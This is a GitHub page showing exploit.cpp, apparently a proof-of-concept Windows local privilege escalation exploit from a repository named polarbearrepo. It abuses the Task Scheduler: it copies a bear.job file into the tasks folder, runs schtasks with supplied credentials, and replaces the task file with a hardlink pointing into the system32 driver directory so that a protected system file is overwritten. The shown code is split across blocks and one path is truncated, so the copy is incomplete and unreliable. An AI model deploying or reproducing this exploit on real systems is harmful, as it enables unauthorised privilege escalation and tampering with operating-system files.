Sign in

djhohnstein / **polarbearrepo** Public

Notifications | Fork 329 | Star 1

Code | Pull requests | Actions | Projects | Security | Insights

polarbearrepo / bearlpe / polarbear / polarbear / **exploit.cpp**

41 lines (32 loc) · 1 KB

Code | Blame | Raw

```cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <iostream>
#include <shlobj.h>

#pragma comment(lib, "shell32.lib")

bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname);

int main(int argc, char *argv[])
{
        if (argc < 3)
        {
                printf("-Usage: polarbear.exe username password");
                return 0;
}
        DeleteFile(L"c:\\windows\\system32\\tasks\\Bear");
        char username[255];
        char password[255];
        strcpy_s(username, argv[1]);
        strcpy_s(password, argv[2]);
        std::string command = "schtasks /change /TN \"bear\" /RU ";
        std::string usernamestd(username);
        std::string passwordstd(password);
        command.append(usernamestd);
```

```
            command.append(" /RP ");
            command.append(passwordstd);
            CopyFile(L"bear.job", L"c:\\windows\\tasks\\bear.job",FALSE);
            system(command.c_str());
            DeleteFile(L"c:\\windows\\system32\\tasks\\Bear");
            CreateNativeHardlink(L"c:\\windows\\system32\\tasks\\bear", L"C:\\Windows\\system32\\driver
            system(command.c_str());

    return 0;
    }
```